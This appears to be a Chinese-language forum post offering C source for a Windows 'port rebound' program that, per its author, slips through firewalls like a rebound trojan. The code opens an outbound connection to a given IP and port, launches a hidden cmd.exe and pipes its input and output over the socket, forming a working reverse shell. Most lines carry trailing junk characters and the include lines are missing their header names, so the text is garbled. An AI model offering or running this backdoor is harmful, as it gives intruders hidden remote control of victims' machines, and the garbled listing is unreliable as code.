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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;*ni%|K  
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/* ============================== hm k ~  
Rebound port in Windows NT I$4>_D  
By wind,2006/7 'Sesh'2 /  
===============================*/ X?;iSekI4  
#include C\OZs%]At  
#include Se37-  
W}%"xy]N  
#pragma comment(lib,"wsock32.lib") ?YUL~P  
V DZOJM)(  
void OutputShell(); ]EUQMyR  
SOCKET sClient; Z[B:6\oQ  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; E|jU8qz>P  
l2YA/9.  
void main(int argc,char **argv) g_A#WQyh\'  
{ )jt?X}  
WSADATA stWsaData; |.$7.8g  
int nRet; MOay^{u  
SOCKADDR_IN stSaiClient,stSaiServer; NFC/4  
C\vOxBAB  
if(argc != 3) ,yvS c  
{ t OxH9  
printf("Useage:\n\rRebound DestIP DestPort\n"); d0&  
return; FMhuCl2  
} )heHERbJ  
,}"jiGgS4  
WSAStartup(MAKEWORD(2,2),&stWsaData); @ &Od1X  
2@@evQ  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P2| +7D:  
&FJr?hY%  
stSaiClient.sin_family = AF_INET; \=`jo$S  
stSaiClient.sin_port = htons(0); #K/JU{"  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); y~wr4Q=  
JG7K-W|!c  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |[>yJXxEL@  
{ da_0{;wR  
printf("Bind Socket Failed!\n"); }B!io-}  
return; m(^N8k1K;  
} Plhakngj  
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stSaiServer.sin_family = AF_INET; ^zS;/%  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Bu+?N%CBi  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); L6;'V5Mg72  
Ta/ u&t4  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *"4l}&  
{ pU[yr'D.r  
printf("Connect Error!"); y$_]}<b  
return; 4S[)5su  
} }T AG7U*  
OutputShell(); -_eG/o=M  
} $<Y%4LI  
OdNcuiLa  
void OutputShell() Zm7, O8  
{ KmM:V2@A$  
char szBuff[1024]; NV@$\ <  
SECURITY_ATTRIBUTES stSecurityAttributes; m6]6 !_  
OSVERSIONINFO stOsversionInfo; %DA`.Z9 #  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9sd}Z,l  
STARTUPINFO stStartupInfo; l4(FM}0X5}  
char *szShell; rk@qcQR  
PROCESS_INFORMATION stProcessInformation; 8xG"hJR  
unsigned long lBytesRead; [Fv,`*/sm  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !^v~hD$_q  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Df:/r%  
stSecurityAttributes.lpSecurityDescriptor = 0; i1A<0W|  
stSecurityAttributes.bInheritHandle = TRUE; v-^tj}jA  
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t5u#[*  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); wu &lG!#  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); bNiJ"k<pN  
r4fg!]J ;  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )0"T?Ivp]  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U@{>+G[  
stStartupInfo.wShowWindow = SW_HIDE; 7^mQfQv  
stStartupInfo.hStdInput = hReadPipe; Ap;^ \5  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <*-8E(a  
{6wXDZxv  
GetVersionEx(&stOsversionInfo); %y*'bS  
t)g %9 k^  
switch(stOsversionInfo.dwPlatformId) 25 :vc0  
{ n%i L+I  
case 1: `D$^SHfyz  
szShell = "command.com"; o_[~{@RoR  
break; 2;3&&yK2b  
default: W- nS{v(  
szShell = "cmd.exe"; fwMYEj  
break; Ro<x#Uo  
} [McqwU/Q  
a" T+CA  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &-JIXVd*R  
-S&9"=v  
send(sClient,szMsg,77,0); a1u4v/Qu9  
while(1) [z+YX s!N  
{ 3d7A/7S  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); bAuiMw7!  
if(lBytesRead) V[kn'QkWv  
{ 0uPcEpIA  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +7n vy^m  
send(sClient,szBuff,lBytesRead,0); pGy k61  
} *yo'Nqu  
else -yg;,nCg  
{  yOvV"x]  
lBytesRead=recv(sClient,szBuff,1024,0); DIWyv-  
if(lBytesRead<=0) break; ,j\uvi(Y  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v0tFU!Q%  
} dLwP7#r  
} 8*&73cp  
)  LTV+?  
return; ko'V8r `V  
}
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